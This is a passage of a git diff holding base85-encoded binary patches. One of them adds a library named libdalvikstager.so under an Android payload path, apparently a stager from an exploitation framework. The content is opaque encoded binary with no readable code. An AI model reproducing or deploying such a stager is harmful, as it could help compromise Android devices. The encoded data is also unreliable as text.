zAKs(GbyIH=`Em5QEZ$pfAK|&eH|8(UZ?=7ed}+nW1=vI#xH}c+1@Ih*cGzUu>?`fD z)(ZhX`k#;qKUw-qAd_=b)E=F_`!V`(C$;*D?LN+*esJbb+pun<)OQ;CIF}sgvv_QM zn6u&WYsQ^+{LRGK$@5X+of*&ke6FtJ`3D~`H_6z)+`Fh7|X>oXpa9S zb1I%yb77D3{LAr-2R@VMf{*XJ7>|;@uWH4<%(MBGcz^$=^d7A9?=y4MmrT6t!+W(} z-O<5wvH6d9mjS#P`0*6ogkH4PU{_VPx@gr}fwhs*r z#h)bpwjA&KAJRwTBfwfJwf+2WQ`?VuPsFRwrTOB(NApg^HJd(T(_)O{z42Xdr}+*7 zw_yC4-=}HfCzO-%u6NS(!@!g~X4APBQrm06KMVL9vrop)0CQrW{bQQ{r@-HW-t~V@ z>pu^ScQV_FOKnX4@@PkUL;38+@`l#NmgcsIDCbXA=|8hO%dMZB%EHn6CbWx&_SUl2 zNG#kLZE0_gm8JQD;ceEh-;LJKRpp)AI%AR6^6E&}l9q61Cx3sBbcj!f?+=%^;77G` ztChdVXLpy*shhx&9(TK_YHn+e-6=}5`s-u(6@T;Xe`8CQy4&Zh6*M_*%4I~q$C}$k z`UkvHjJ#T|df=)Du6p3A2d;YHst2xm;Hn4S>jAuwbBY_4;k(k`&NQKp=P>ayUJT%Q z#rpOpANXO=cy1E40Dhl?XA^;UnC*Bb5`-dLTESv{)8qk`@y7@JTRi;WpE!>fPQ2HC z4+Qa#Z2S`&{}(Xc%ZXnC^Q9BNU%vsEdiY(?5zyBIqubH}WPKAw9e9V_PMQDTQZ+06 zJv+bi=C|AYUVCDx!jHXwD_Am?E?IJ$TDtTTYv!m6%WhTY`z!Fzf2&#=?TB>XQ$T#4 zHV2HH7hGgvFpJIYEsbhLSp|Mx7mN7qkM(VW4C-u)rhTuGF5Hg(22V&RRVtZ`dg=eE`~j&+E#rf_GID1&nLq$|;um?*O>hH zNLnLpXlrYaMauBWBsf|c=iMLa=;Sw-mX2@?&kGyzNh#h=ywAc|BjCNR6?=@oF$6Mc z#)1VM|;5U%W_kHA}eJcT!Hy^-#Lb!tsc43vU4v+_+udV-kf{AgwQz(z60l>#Irq+G`|b622!cRnu~P+^)FL!`tMwkoB9bW|ebcCv z^3cS6CZtej5DhTLgVf96IYbN&rXf2@8`f=+ z#ojW|@7K8pZ zXc3*VLH`MKIcSbwUJn=SuCVma0$m4s$mm}T+UnnxpwGd+a-)CKB>D@W<*U#4e|Zvp z5VYUY|8JA%S3pNB{bQ5pEa=^q{t`^YO3wj(U>1?ju&)O6o1kwn=(|BXXA^PW@cg5o zeW1;Fe-w0`g+2&cWML>0y_-EUi5{FpQ!v=r5ejZxPSA?a+!?&P ztv(uRqRrt%thtHeZL#*|w!|ii#=>pX9!5`NOEk{o;)zh>1Hs0~1Hnz9=9UW@Hg5^F zH=!jI4sC1>ZfW~`b6ZoeF%}EP+P#L7wQVh|CK%k@wk5bW$8iUe(5)QR(i5YE)t+8;hHI!(K z7?v5H4R?eawj3?SdjV%773mOcXLMB^o$e!GMp5L(9 z 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 G)4u@fN9;5J literal 0 HcmV?d00001 diff --git a/data/android/libs/x86/libdalvikstager.so b/data/android/libs/x86/libdalvikstager.so new file mode 100644 index 0000000000000000000000000000000000000000..e7a9f5e233ba153534221cf74548efe26a4583fd GIT binary patch literal 5220 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 